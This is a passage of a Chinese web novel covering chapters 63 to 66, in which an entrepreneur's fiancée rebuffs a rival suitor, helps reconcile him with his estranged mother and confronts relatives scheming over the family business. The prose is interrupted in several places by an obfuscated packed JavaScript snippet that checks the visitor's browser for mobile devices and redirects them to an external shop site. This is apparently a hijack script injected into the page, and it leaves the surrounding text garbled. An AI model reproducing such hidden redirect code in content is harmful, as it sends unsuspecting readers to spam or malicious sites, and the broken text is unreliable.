一年时间不算长,却足以改变很多事。霍辞成功跻身房地产行业,非但站稳脚跟,还节节高升。他的投资眼光独到而精准,所投项目无一不收获颇丰,尤其是城乡结合部的“希望”系列楼盘,开发时受到相关部门大力支持,一经出售很快售罄,带来了丰厚的经济效益。如今在江城商圈内,“霍辞”这个名字已无人不晓。年轻英俊的企业家行事稳重、目光长远,被江城日报经济板块点评为“东城区之狼”,于平地中猛烈拔起,乘冲天之势。随着名声渐大,他的身世也被查出,在得知霍辞是霍家后人后,连同整个家族都被赞颂不愧为商界世家。 这是霍辞飞升的初期阶段,而这一阶段提早了近五年。宁姿想,或许是她带来的改变掀起了蝴蝶效应。 周末,宁姿陪董筱逛街买衣服,两人分别后回到家里,宁姿打开门,热饭热菜已端上餐桌,霍辞的造型是毛衣搭配休闲裤,最外面套了件围裙,她忍不住笑了声。 霍辞走过来接过她手中提的购物袋,“还不来吃晚餐,站在这里傻笑什么?” 宁姿脸上笑意未减,两只胳膊环住他的腰,头顶上响起了他沉沉的声音,“如果不想吃凉掉的饭菜,奉劝你不要在这个时候招惹我。” “是你自己想太多。”她狡黠一笑,解开系好的结,替他脱下围裙,“谁能猜到堂堂霍辞在家时竟然是这副样子。” 霍辞趁机轻啄了下她光洁的额头,“疼老婆的人会发达。” “现在还不是,注意你的言辞,霍先生。”宁姿调皮地凑在他耳畔说。 “提前预习,谁叫我迫不及待。”霍辞握住她柔软的手,牵着她走到餐桌旁坐下。 晚餐都是家常菜,霍辞的厨艺越发精进,气氛欢乐,烟火气浓郁,恍然间有二人是老夫老妻的温馨感觉。他们的话题从今天购物买的东西到霍辞的公事。 “华特大楼烂尾的事,我也听说了。”宁姿有点饱,懒洋洋地撑着下巴。 霍辞淡道:“令购买者失去信心,等同于把顾客往竞争对手那边赶。事情起因是项目经理得罪了华东大区经理,不知用了什么办法说服股东撤资,跳槽之前埋下炸弹。” 宁姿觉出点意思,“了解得那么清楚,你打算有动作?” 霍辞笑了笑,“你最了解我,明天我会亲自拜访华东大区经理。” “你看好这个楼盘?可现在事情闹得那么大,投资风险很高吧?” “同时也伴随名气水涨船高,后续事态的发展全部呈现在公众眼中,不一定是件坏事,祸兮福之所倚,风险与机会并存。况且现在接手楼盘,一是性价比可观,二是可以顺便解对方燃眉之急,卖一个人情,在商场上,多个朋友多条路,说不准哪一天就成了贵人。” 宁姿笑道:“难怪别人叫你‘东城区之狼’,思维方式果然不同于常人,冒险精神也可嘉,不愧是我看中的男人。明白我现在的感受吗?就像是买中一支股票后眼睁睁看着它一路疯涨,赚大发了。” 宁姿夹了块炸土豆放进嘴里,又香又脆,吃得很开心,“补充一句,还自带满点的厨艺技能。” 她的脸颊鼓了起来,看起来娇憨可爱,霍辞忍不住伸手轻轻戳了下,双眼弯起。 顺利接手华特大楼后,霍辞举办了新闻发布会,后续款项到位,预测工期为一年半,建设在如火如荼地进行中。全透明式开发建设令顾客们信心大增,预售时期就十分火爆,名额很快告急。 不久后,霍辞又宣布与江城慈善基金会签署合作协议,捐献项目百分之五的利润点赠予基金会。这一举措再次登上各大报刊金融版头条,一时间名声大噪。霍辞可谓是名利双收,迅速跃身为商圈焦点,发展如日中天。 周五放学,宁姿刚走出校门口就看见银色幽灵停在街边,和同学道别上车后,没看见霍辞本人,是司机来接的她。后座放了满满一纸袋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一刻钟后,一名模样俏丽的短发女人走了过来,她巴掌大的脸上挂着与孟总相似的笑容。孟总吊梢眼中亮起光芒,一只手搭在女人的肩头,殷勤地对霍辞说:“介绍一下,这是我的女儿孟喜悦,刚从新加坡留学回来,这丫头对建筑行业很感兴趣,一直视霍先生为偶像。你们都是年轻人,应该有很多共同话题,不如多聊几句。” 开门见山,目的不言而喻。 从前名不见经传的霍辞如今早已凭借优越的外形、惊人的能力及丰厚财力一跃成为江城富人群体眼中的金龟婿,明里暗里伸出橄榄枝的场面屡见不鲜,霍辞习惯到厌烦,依然无法避免。 孟喜悦主动伸出手,朝他露出一个自认为明媚动人的笑,“霍先生,真高兴认识你。” 霍辞并未抬手,而是恭敬地低了下头,“孟小姐好,我是个只懂赚钱的商人,不擅长与女士交流,恐怕无法照顾好孟小姐,二位请便。”话说完,他把杯中的酒一饮而尽,抬步远去。 孟总眉间沟壑骤起,简直能夹死一只苍蝇,“不识好歹,这个霍辞简直是傲慢无礼,竟敢用这种态度对待我的女儿,就这样还想和我合作?传言说他已经有了未婚妻,看来是为了那个女人。” 不同于他父亲的气恼,孟喜悦笑意不减,目光追随霍辞的背影,“果然和一般男人不一样,配得上我,对感情也专一。这样才好,越是看上去冷淡的男人,真正爱上一个人,一定会带给她独一无二的偏爱。” 走远的霍辞并没有把孟氏父女的这段插曲放在心上,在他看来,如果孟总为这件事感到不愉快,影响后续合作进展,那么这个人的格局可见一斑,本身就不适合做合作伙伴,于是他迅速投入酒会氛围,结交更多人脉。 在与梁东集团的副总谈话时,身穿红色吊带礼服裙的女人像是醉了,步履不稳地从旁经过。霍辞听到身后有声音接近,转过身淡淡扫去一眼,只见孟喜悦双颊浮上红晕,左脚绊住右脚,身形不稳朝前栽倒,眼见就要摔在地上出丑。 霍辞敏捷地推了一把她的肩膀,令她重新站稳,随后迅速抽回手,沉默着以冰冷的目光注视眼前的女人。 孟喜悦神色迷离,娇声一笑,“谢谢你,差点就摔着了。真没想到这酒喝起来甜甜的,度数却不低。把自己喝成这副样子,我是不是有点笨啊?”尾音才落,偏着脑袋看向他。 霍辞面不改色回复,“听你父亲说你刚从国外回来,实在不像,既然有独立求学的经历,应该有能力照顾好自己,尤其是保证自己的安全与健康。既然不知道自己酒量的底线在哪里,最好滴酒不沾,以免发生危险或给他人添麻烦。尤其是在这种社交场合,你的一举一动都代表了你的教养。孟总做生意很有一套,对自己的女儿还是太过溺爱。” 孟喜悦听得一愣一愣的,酒都醒了一大半。她故意把自己灌到微醺,再加上两分示弱的表演,目的是激起眼前这个男人的保护欲,没想到会被劈头盖脸一顿说教,面子挂不住,耳尖都红透了。 这时,耳边忽然响起轻灵的笑声,身穿休闲服的女孩停在他们旁边,装扮与这环境有些不符,然而她身材匀称、比例优越,五官柔美又灵秀,皮肤光滑得像温润的羊脂玉,细腻得令人忍不住想摸一下。 她正笑着,看样子像是学生,然而在这种场合下也丝毫不露怯,自如得很,双手负在身后,饶有兴致道:“霍辞,这我就得好好说一说你了,实在太不懂得照顾女孩子的心思。明明年纪也不算大,怎么像个教导主任一样威严又吓人呢?” 64. 第六十四章 厅内的布置金碧辉煌,四处可见水晶装饰,天花板上悬着的巨型水晶吊灯,四散出流光溢彩的光线。 这样奢华的场合,宾客们都是西装革履、香衣鬓影,女孩的装扮实在格格不入,只穿着简洁的衬衫和休闲短裤,长发随意在脑后挽作一团,额前垂下几缕乌黑的发丝,偏偏暖黄色的灯光落在她身上,将她的皮肤照得白皙通透,像在发光似的,吸引人的眼球。 霍辞本是冷厉逼人,看见她的一瞬间,表情骤变,笑得眉宇清澈。宁姿趁旁人没注意时朝他瞪去一眼,然后从手中的药盒里取出一支药水,掰开管口,朝孟喜悦走去。 这突如其来的变故吓得孟喜悦往后退了一步,然而她踩着细高跟,根本逃不开,“你是谁?想做什么?” “这位小姐别担心,我手上拿的不是毒药,是解酒药,本来是担心某人醉酒,特意给他买的,现在看来他用不着,反而十分快活,不如便宜了你。” 听到宁姿这么说,霍辞忍不住动了下眉尾。孟喜悦本能摇了下头,正要开口,被宁姿堵了回去,“你可千万别跟我客气,女孩子之间本来就该互帮互助。刚才看见你都站不稳了,这样可不安全,你自己也很难受吧?快,一鼓作气把这个喝了,要喝光光哦。” 孟喜悦忽然想到一个典故——被潘金莲灌药的武大郎,来不及反对,宁姿一个箭步上前对着她的嘴把药全灌了下去。苦涩霎时溢满口腔,孟喜悦被呛得咳嗽几声,深棕色药水顺着嘴角流下,滴在礼服裙上,迅速晕开难看的污渍。 “你……咳咳!”孟喜悦本想骂宁姿是神经病,却咳得停不下来,下一秒,解酒贴被“啪”的一声拍在她的额头,粘牢了,冰冰凉凉的,冻得她惊呼一声。 宁姿不耐烦地拍了下手,“不用谢。” 孟喜悦一时语塞,表情有些蠢,瞪视着她,像傻掉了一样。 霍辞走向宁姿,任谁都看得出他眼底的温柔疯狂蔓延,仿佛将所有冷漠都融化了,“你终于来了。” “你不是说我可以不来吗?现在我算是知道原因了。”宁姿突然扭脸对他说,意有所指。 霍辞毫不在意,“那是为了体现绅士风度假装说的,实际上我一直在等你。” 她不买账,“等我做什么?替你照顾醉酒的女士?” “没有你在我身边,一切都显得没意思。”霍辞乖巧地偏了下脑袋,“还有没有解酒药?我的头有点晕。” 宁姿瞥了他一眼,“确实有剩的,不过给不给你喝得看后续表现。” 霍辞饶有兴味地盯着她看,半点不生气,反倒乐在其中的样子。 孟喜悦被忽略了个彻底,就算再没眼色,也绷不住了,当即黑下脸走开,步子踩得很稳,不忘抬手狠狠扯下额头的醒酒贴。 “这么快就酒醒了,看来药店老板没骗我,价格是贵了点,效果确实好。”宁姿满脸欣慰。 霍辞瞧着她的表情,低声笑道:“还没吃晚饭吧?我先带你去休息区吃点东西。” “来的路上零食都已经吃饱了,一点也不饿。” “零食怎么能当饭吃?”霍辞不满。 宁姿秀眉微挑,“就算零食不能当饭吃,见你四处招蜂引蝶,也气饱了。” “奇怪,怎么闻到了一股酸味?”霍辞心情很好。 宁姿推了下他的肩膀,“是你的嗅觉出了问题。” “跟我来。”霍辞拉住她的手。 “去哪里?” “向所有人介绍我的未婚妻。”他坦言。 宁姿一愣,把手抽了回去,又尴尬地摆了两下,态度一下子软下来,“仔细想想,刚才我只是一时冲动。当众介绍就免了,你知道我最不喜欢这种场面,所有人的目光都聚焦在我身上,那滋味想一想就够难受的。” “听你的,反正无所谓,认识我霍辞的人都知道我有一位深爱的未婚妻。”他的目光暗了暗,“但无法避免某些人不懂分寸生出不好的心思,我会和他们划清界限。” “大可不必,拒绝非分之想就可以了,有合适的机会还是可以合作的,干嘛跟钱过不去?” 她的语气有点激动,惹得霍辞笑了声,“小财迷,担心你的男人赚不到钱?” 宁姿眼珠子一转,讨巧卖乖道:“不担心,等我毕业后做设计师,画稿来养你。” 这副机灵的模样真是让人又爱又恨,霍辞忍不住拧了下她的鼻头,宁姿蹙起眉。二人闹得正欢,没注意到一袭唐装的老先生朝他们走来,正是许久不见的燕老板。 他脸上挂着慈和的笑容,“两位年轻人晚上好。” 二人赶紧站端正,礼貌地打招呼,“燕老板,您刚到吗?” “有几位老板对我店里新到的一批画感兴趣,邀请我来参加酒会。”燕老板话锋一转,“最主要的原因是我听说今晚请来了米其林主厨,有品尝美食的机会,我当然不能错过。” 宁姿觉得燕老板像极了老顽童,冲他笑了下,“我也很感兴趣,不如一起去享用美食?” “荣幸之至,看见你们两个人,我就想到了一个词语——金童玉女。”燕老板赞叹道。 宁姿害羞地埋下脸,霍辞倒是大大方方揽过她的肩,“不愧是燕老板,果然眼光是最好的。” 燕老板左右看了眼,眼底洋溢着欣慰,最后目光落在霍辞脸上,隐隐出神,像是透过他在看另一个人,感慨道:“你越来越成熟了,也越来越像你的父亲。你们的眉毛一样是浓郁英气的剑眉,双眼大而深邃,轮廓分明,身型也是同样的高大俊美。当初你的父亲也是自己创业开创了一片天,如今你也走过同样的路。我相信他在天有灵,看见自己儿子今日的成就,一定为你感到骄傲。” 宁姿的目光触及霍辞,只见他虽然不至于热泪盈眶,双眼却也亮了起来,像是星星落入其间,便明白这对他而言是莫大的肯定,也为他感到喜悦。 燕老板拍了下霍辞的后背,换了个话题,“之前你托我替你拍下手镯《绮丽之梦》,我不负你的嘱托。” “麻烦您了,下回我登门拜访,一定带来好酒。” “这话我记牢了,但还有些话不得不说。我知道霍夫人的生日快到了,《绮丽之梦》是你为她准备的贺礼。我确实答应替你找来,却没说过帮你转交。”见霍辞一怔,燕老板补充一句,“既然是精心准备的礼物,自然得由你亲自送去。” 霍辞苦笑一下,“她见了我,大概率不会高兴,何必令她生日当天生顿气?” 燕老板叹了口气,“你把你母亲想得太过狠心。她的确有错,却并非对你毫无感情。半年前,你与寰天地产竞争一批环保材料,胜算不大,对方态度一直不冷不热,后来峰回路转,顺利达成合作。这件事背后的真相是你母亲亲自去了那家建材公司,你父亲生前与那家公司的老董事长有旧交,你母亲借此游说,替你疏通道路。” 霍辞面上的神情看不出悲喜,眸中闪过错愕。 “你母亲固然有错,错在太过执着于对你父亲无妄的爱,沉沦在丈夫离世的苦痛中难以自拔,把自己无法排解的负面情绪宣泄在年幼无辜的你身上。这份难以承载的痛苦与霍氏面临的危机如同双重大山压在她一个女人身上,令她心力交瘁,因此下定决心把年幼的你交到远在国外的外祖父母手上,从那以后,母子二人间横亘了地理距离和心理上的隔阂,彼此误会越来越深,造就了今日的局面。” 停顿片刻,燕老板低声说:“平心而论,霍夫人算不上是一位好母亲,她固执己见、偏心自负,然而她内心深处依然充满对你的关怀与期许,只不过向来嘴硬,不肯显露分毫。实际上,她总是从各方打听你的近况,了解你的成就,发自内心为你感到骄傲与欣慰。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126841|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>霍辞努力消化这些话,紧紧闭着嘴巴,心中五味杂陈,一时竟无措起来。一双温暖柔软的手贴住他的手,紧紧握住,他一抬眼就撞见宁姿心疼的目光。她热泪盈眶,朝他露出安抚的微笑,那笑容仿佛在说,别担心,有我在。 宁姿转头面对燕老板,诚挚道:“燕老板,先为我的无礼向您道一声歉。首先,我发自内心敬重霍伯母,她对我关爱有加,我的内心也充满感恩。但站在霍辞的角度,我无法认同她的做法。您刚才说的那番话,我全部都相信,却依然无法谅解。因为最初受到冷待的霍辞只是一个年幼的孩童,孩童的世界很简单,单纯又脆弱。” 霍辞站在她身边,安静地凝视着她,目光映射不平静的内心,触动轻易便能察觉。宁姿的目光缓缓移到他的脸上,变得愈发柔和,疼惜之意快要溢出似的,继续轻言道:“生老病死是人生常态,任何人都避免不了,这些大家心知肚明,但我想不论是多么理智的人都很难做到看透,坦然接受。失去至亲的痛苦像是汹涌澎湃的浪潮,一浪高过一浪,冰冷刺骨,像是随时要吞没一切光明。这对于成年人都是难以承受之痛,更何况是对于一个孩童。年幼的霍辞失去了父亲,他需要的是一个温暖的怀抱、一个让他安心依靠灯火通明的港湾,但这些全都落空了,因为他的母亲对他表现出直白的憎恶。” “家长的细枝末节会在孩子的眼中被放大,更何况是直白的态度,他只会失去安全感、疑惑不解,在经历努力寻找原因却一无所获之后,这份难以排解的痛便同淬了毒的种子一样被种在心里,生根发芽,久而久之甚至发展为自卑,放弃了对自己的爱。心中没有依靠,独自面对复杂的世界,这样孤寂地长大是一件多么辛苦的事?” 宁姿有些哽咽,心头被酸涩填满,“但他还是好好长大了,近乎苛刻地要求自己,成长得非常好、极其耀眼。我不知道什么时候才能算作真正成熟,但经历得多了,自然明白更多事理,儿时求而不得的答案也终于变得清晰。连我们都能看清霍伯母对他那份隐晦别扭的爱意,聪明如霍辞,又怎会毫无察觉?他向来外冷内热,自然敬爱自己的母亲。可叹那些沉淀在岁月长河中的疑问与悲切,早已沉淀为难以逾越的鸿沟。” 她深吸口气,强自按捺颤抖的声线,“我爱的人不是圣人,彻底的谅解与包容实在太过困难,我支持他以自己的方式表达内心的情感,不论今后他有任何决定,我都会陪伴在他身边。如果他选择跨越鸿沟、打破隔阂,那么我替他感到高兴,但那需要时间,如果他不愿意,也无需感到自责。我无法狂妄地说一句感同身受,只发自内心期盼他能活得轻松一些。” 宁姿微转过脸,目光重又投向燕老板,“我们同是关心霍辞的人,更应该给予他信任与尊重。” 霍辞的右手慢慢挪过来,与左手一同包裹女孩细腻温暖的小手,眼中盛满闪烁的光点。燕老板看着两人相握的手,静默良久,轻叹了声,再抬眼时向宁姿回以慈和的笑容,“本以为自己是旁观者清,没想到是过于自负。我的确没有站在霍辞的角度去考虑这件事,忽略了他的心情。不过现在我很高兴,被你这个小姑娘点醒了,像是被上了一课,这是非常宝贵的收获。” 宁姿有些不好意思,“您不怪我话太多、没礼数就好。” 燕老板笑着摇头,“我说的可不是客套话,而是由衷感到欣慰与开心。看来如今霍辞已经找到了温暖的港湾,不再孤寂或悲哀,有一片温柔的月光真真切切照在他身上。” “是呀,今晚的月色很美。”霍辞的眼睫轻眨,柔软的嘴唇轻轻开合,低声说出这一句。 宴会厅的落地窗外躺着一片静谧的夜空,这座城市华灯初上,却夺不走天幕中悬挂那轮明月的光辉。 然而他没有看月亮,此时此刻,原本漆深的眼眸里盛着更璀璨的光华,也清晰映出宁姿灵秀清丽的面庞。 65. 第六十五章 霍家老夫人每年生日登门庆贺的客人络绎不绝,她总会精心布置场地,亲自监督饮食筹备,热情招待。 然而,今年的生日宴在临近时突然取消,理由是霍老夫人生病,卧床休养。即便霍辞不说,宁姿也看得出他的担心。这对母子实在别扭,谁也不主动,于是她体贴地主动请缨将他准备好的贺礼手镯给老夫人送去,顺便弄清病情。 霍辞让司机开车送她,到了后把车停在车库,等她出来。 霍老夫人的病情比想象中严重,整个人都瘦了一圈,精神也不好,还十分畏冷,大夏天竟盖了床棉被。宁姿去了卧房陪她老人家说话。 《绮丽之梦》不负它的名字,手镯面上镶嵌着一颗宝石,颜色如晚霞般璀璨温暖,散发出丰富柔和的光芒。宝石表面有交错繁复的纹理,质感非凡品可比。霍老夫人听说是霍辞送的,立即套在过于纤瘦的手腕上,另一只手不断摩挲着手镯表面。 她的面孔不再如往昔严肃厉色,也褪去了威严,只留下一位虚弱的母亲对孩子哀切又眷恋的神色。 宁姿柔声说:“其实霍辞的心里一直挂念着您,只不过……”她不知该如何说下去。 霍老夫人却已了然,拍了拍她的手背,“从前的那些事全都是我的错,是我想岔了。或许我真的是老了,最近总会梦见过去发生的那些事,断断续续的,却无比清晰,醒来后也不断回想、咀嚼。原来我真的是一位糟糕透顶的母亲,明明早就犯下错误,偏偏执拗地不肯认错,非要争个输赢。” 宁姿有些难过,想安慰她,却不知该如何开口。 霍老夫人脸上流露出祈望与悲哀交杂的神情,“给他多一些时间,不是期望他有朝一日能原谅我,而是希望时光能抚平他心底的伤痛。” 这时,宁姿的手机震动起来,来电显示正是霍辞,她接通后,听筒里传来他低沉的嗓音,“你到了吗?” “到了,正在陪伯母说话。” 听了宁姿的答复,电话那头沉默良久,接着说:“不要待得太晚,离开的时候让张叔开车送你回家。” 宁姿很肯定这不是他本来想说的话,她翘起唇角,“知道,车停在车库里,张叔人在休息室里喝茶,有什么好担心的?难不成他还会中途扔下我一个人跑了?” 两个人在一起这么长时间,宁姿自然明白在他平淡的表象下埋藏着一颗别扭又炙热的心,语气轻快道:“你要跟我交代的话说完了吧?接下来和霍伯母说两句。” “什么?我……不用……” 他的语气变得错愕而急促,然而宁姿并没打算给他选择的机会,直接点开免提,继续说:“我已经按了免提键,接下来你说的话,我和伯母都可以听见。” 意料之中,电话另一头传来的是一阵沉默,房间内,霍老夫人不自觉挺直了脊背,使不上力,软绵绵倒在靠枕上,眼中满含沉甸甸的期待。这母子两人谁都没有先开口说话,如出一辙的沉默,宁姿免不了再度推波助澜,“霍辞,不先问声好吗?” “你……还好吗?”只是很简短的一句问候,他没有加称谓,但是对谁说的却很清楚。 霍老夫人清了下嗓,语气郑重,“我好,你呢?” “我也是,听说你病了,现在感觉怎么样?” “已经好很多了,估计再多休息几天就能恢复。” “那就好。” 这番显得生疏的话语中断,留下的又是熟悉的沉默。 霍老夫人先开口,嗓音略微沙哑,“没什么重要的事,你去忙你自己的。” “好,我挂电话了。” “等一下。”霍老夫人的语气有些急,听见手机里没传来挂断的忙音时才缓了口气,小声说,“你做得很好,没丢你父亲的脸。” 停顿片刻后,霍辞说:“生日快乐,有时间我回家吃饭。” “行,你随时来,我吩咐厨房那边准备你爱吃的。” 这一次,电话终于挂断,老人家憔悴苍白的脸上不知何时浮现出一抹淡淡的笑容,忽然,她像是想起什么,神色又变得懊恼,喃喃道,“忘记说了,手镯很漂亮。” 宁姿柔声道:“这些话不用一口气说完的,留着以后慢慢说吧。他不是答应了要回家吃饭吗?” 霍老夫人脸上愁云渐消,重又挂上心满意足的笑容,枯瘦的双手将宁姿的手握在掌心,“你们一起回家吃饭。” “家里的厨师手艺最好,在其他地方都吃不到这样的美味。”宁姿笑容和善。 霍老夫人忽皱紧眉头,口中溢出一丝呻吟。宁姿赶紧扶她躺下去,“我去把医生叫来。” 正要转身,手却被霍老夫人握住,“不用去,我还在发低烧,神经痛是正常现象,不需要大惊小怪。” 宁姿看她满面病容,轻轻帮她揉捏手上的穴位,有意问:“头部也感觉疼痛吗?” “是,疼的最厉害的部位是后脑。” 宁姿怔住了,她记得很清楚,上一世霍老夫人也是在一场大病后脑梗昏迷,无力回天,可那是许多年后发生的事。宁姿提醒道:“身体健康要放在第一位,您自己要重视。我提议这次病好后,抽空去医院做个全身检查。” 霍老夫人点了下头,“你说得对,我也是一把岁数了,不能再像年轻人一样拼,得重视自己的身体。好孩子,谢谢你专程为我跑这一趟,留在家里吃顿饭再走。” 宁姿答应了,与霍老夫人道别后,由新来的女佣引路去餐厅。这位女佣是个活泼的性子,路上说着今天的晚餐是肉汤搭配新鲜菌类和蔬菜,霍老夫人身体不好,这几天饭菜都是端进房里吃,统共也吃不下几口,喝小半碗汤罢了。 宁姿不是第一次留在老宅用餐,这里的餐厅很宽敞,桌椅都被擦拭得纤尘不染,地面也干净得光可鉴人。 她在餐厅里见到了霍亦辰,没想到关元明也在。这两人已经在用餐了,原本正在说话,见她走进来,默契地一同噤声。 宁姿泰然自若地在餐桌另一边坐下,像没看见他们一样,安安静静地吃饭。 关元明幽幽开口,“宁小姐也是来探望霍夫人的吗?” “是。”宁姿咽下一口汤,不疾不徐回答,把手中的汤勺放下。 “我也是,希望她早日康复,免得亦辰一直为他的祖母担忧。” 宁姿朝他淡淡睨了一眼,“听说在霍伯母养病期间,霍氏内部召开了好几次会议,都是由霍亦辰代替出席。” 关元明毫不回避,“亦辰年纪虽轻,但性格沉稳、有大局观。” “评价很高嘛,事实上是他的决策都有利于你,才令你非常满意吧?”宁姿抬手用纸巾擦拭嘴角,声音郑重道,“霍伯母生病不过一个月,就在这短短的一个月内,你趁机提出不少于三项提案,即便其余董事会成员有异议,你们的票数依然占优势。让人不得不怀疑你的动机,像是抓准时机达成你私心的目的,连稍加掩饰意图都不愿意。” 关元明吊着眼角,“,或许比起建筑设计,你更适合从事故事创作类的工作,但这种冒犯人的猜测就到此为止吧。我做的任何一件事都是站在为公司考虑的角度上,容不得别人泼脏水。” 宁姿神色淡然自如,“听了刚才这番话,我也发掘了你的天赋,或许你很适合从事影视表演行业。” “和一位小姑娘斗嘴实在有失水准,我愿意谅解你。”关元明装作好脾气的样子,慢条斯理道,“这些话究竟是你有感而发,还是霍辞的意思?你们这对未婚夫妻对霍氏内部的事务这么关心,究竟是什么意图?不论如何都该收敛些,毕竟人人皆知,霍氏的继承人的霍亦辰。” 宁姿挑眉,内心嗤道还以为他能吐出什么象牙,“年纪一大把,做人却这么不敞亮,何必打着为霍亦辰好的旗号试探?” 她瞥了眼一直保持沉默的霍亦辰,“霍氏饭店是霍辞双亲的心血,我实在不忍心看它落入歹人手中。霍亦辰,我衷心提醒你,擦亮自己的眼睛,用心思考,不要做别人手中的提线木偶。与虎谋皮迟早都会自食恶果,还会伤了疼爱你之人的心。” 霍亦辰神情中隐含的不甘简直喷薄欲出,“你现在是以未来叔母的身份在教训晚辈吗?我告诉你,用不着。我会让你看清楚,我霍亦辰不比霍辞差,祖母选择我做霍家继承人没有做错。” 宁姿冷笑了声,“实际上你是看见曾经被你蔑视的霍辞今非昔比,掩盖了你霍亦辰的光环,所以心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她轻唤霍辞的名字,房门外响起一阵脚步声,停顿在门口,随后门被敲了三声响。 “进来。” 霍辞推开房门走入她的卧室,双手贴在她圆润的肩头,令她转过身与自己面对面。 他穿了整套正装礼服,主色调是深灰色,与她的裙装相称,头发往后梳,露出饱满光洁的额头,不论是样貌还是身形都彰显着英气逼人四个字。 宁姿纤细的指尖勾着一条银色项链,皎白月牙形吊坠折着温润的光,是他送的“月柔玉净”。 “麻烦替我戴上。” “是我的荣幸。”霍辞没直接接过项链,而是拉过她勾住项链的手,低头啄吻她的手背,刹那间,仿佛连空气都变得烫了些。他的目光缱绻落在她脸上,眸中的惊艳不加掩饰,随后绕至她身后,专心戴起项链。 不知是否有意,温热的指尖不时碰触她后颈敏感细腻的肌肤,轻描淡写划过,掀起她身体一阵颤栗,宁姿不自觉轻抿唇。霍辞得寸进尺,在她后颈落下一吻,灼烫而热烈,猝不及防,令她感到双腿发软,纤细的身子不自觉偏斜,正合了他的意,被他纳入怀中。 他嗅着女孩发间清淡的香气,愈发沉迷,毫无适可而止的意思,顺着优美的肩颈线条一路吻到莹润的肩头,最后意犹未尽地将唇瓣挪到她耳畔低声道:“肌肤红了,像绽开的花瓣一样,很美。” 宁姿吸了吸鼻子,声音微微发颤,“你比我以为的要坏得多。” 耳畔传来他的低笑,磁性低沉,仿佛能震颤她的心灵,“只算是冰山一角,怕吓到我的小未婚妻,最坏的那一面已经被我藏了起来。” 这耳鬓厮磨的亲密,令宁姿面红耳赤,全然找不到呼吸的正常频率,小手牵住他贴在自己腰间的手指,带了点恳求意味地柔声道:“别再逗我,时间不早了,还得出门呢。” 只要她一示弱,他就拿她没办法,霍辞不舍地松开她,咬牙道:“你和我到底谁更坏?” 这话逗得她笑得花枝乱颤。 华丽绵密的锦帘半拉开,窗外赤明的日光涌入室内,罩在纤弱美丽的少女身上,长发如锦缎漾起微光,雪腮被晒得通透。 她的笑容更比日光明丽,令他的心房被照得透亮。 66. 第六十六章 宴会地点选在霍氏饭店的宴会厅,受邀宾客大约五十几人,霍老夫人专程设宴感谢大家在她生病期间对她的关心和问候。 酒店侍者推开沉重的大门,宁姿挽着霍辞入场。二人身材同模特一般优越,相貌出众,经过服装及饰品的修饰更显华贵优雅,仿佛连场内的灯光都偏爱他们,入场的那一幕堪称赏心悦目。 众位宾客的目光纷纷被这一对俊男靓女所吸引,宁姿顿感如芒在背,拿胳膊肘小幅度撞了下霍辞的腰,小声嗔怪,“怨你,和声名赫赫的霍辞一同出席,感觉就像是被关在动物园里供人观赏的猴子。” 霍辞略倾下身,学着她的样子低语,“明明该怪你自己生得太过美丽耀眼。” 周围人听不见二人在说什么,只看得见脸上甜蜜的笑容,足以确定这对未婚夫妻十分恩爱,看来传闻不假,尽管霍辞今时不同往日,有的是名门望族意图和他结亲,但他一律拒绝,铁了心要娶背景并不显赫的未婚妻。 厅内有小部分是熟面孔,大部分是生面孔,这些宾客一见霍辞便两眼放光,抓准时机上前搭话,宁姿听得最多的就是夸他们郎才女貌,耳朵都快起茧子了,脸也快笑僵。霍辞倒似乎很爱听,一一微笑着道谢。 而曾经的天之骄子霍亦辰身边仅有三俩宾客问候寒暄,杵在边上显得有些寥落。他远望着被人群簇拥的霍、宁二人,神情阴鸷,捏着酒杯的手指用力压紧。 关元明注意到他情绪不佳,走到他身边与他碰了一下杯,“忍他一时,来日方长。” 霍亦辰仰头,将杯中酒一饮而尽。 “没看见霍伯母。”宁姿朝四周扫了一圈,发觉宴会主人公不在。 霍辞斯文地朝和他打招呼的宾客点了下头,对宁姿说:“估计是被什么事绊住了,等会儿就能见到。” 这时候,关元明与霍亦辰并肩走来,后者面无表情,前者脸上堆起虚伪的笑容,招呼道:“霍辞侄儿,没想到会在这里见到你。” “我收到了邀请函。”霍辞淡道。 关元明继续笑道:“这个不意外,我感到意外的是你竟真的来赴宴了,毕竟你贵人事忙,就连霍夫人病重时也不见你来探望。” 宁姿立马反驳,“前段时间霍辞忙得脚不沾地,一直抽不出时间来,特意嘱托我替他探望,并且时常通过电话问候。” 霍辞握了握她的手臂,示意不用替他辩解,坦言道:“关叔叔提醒得很对,的确是我没做好。往后我会多关心母亲,尽儿子的本分,同时牢记自己是名正言顺的霍家人。” 听到这句话,霍亦辰大惊失色,眼中的敌意再也藏不住,“你不配以霍家人自居。” 霍辞淡定自若,“由不得你说了算,甚至也由不得我自己选择,从出生起就注定了我是这个家的一份子。纵然你再不甘愿,也得恭恭敬敬叫我一声小叔。” 霍亦辰噎住了,脸色十分难看。 不远处传来一阵喧嚣声,众人的目光被引了过去,只见一名身穿格子衬衫的中年男人被两名保安拦住。男人平庸的脸上表情苦恼,嘴里说着什么。霍亦辰心里烦躁得很,听见嘈杂声更是像被点燃一样,气冲冲走过去问怎么回事? 其中一名保安恭敬回答,“这位先生没有邀请函,却执意要闯进来。” 被阻拦的男人立马辩解,“我确实是受邀参加晚宴的客人,不小心把邀请函遗失了,不信你看,我给霍夫人带来了贺礼。”男人神情真诚,双手小心翼翼地捧起一个四方形的礼盒。 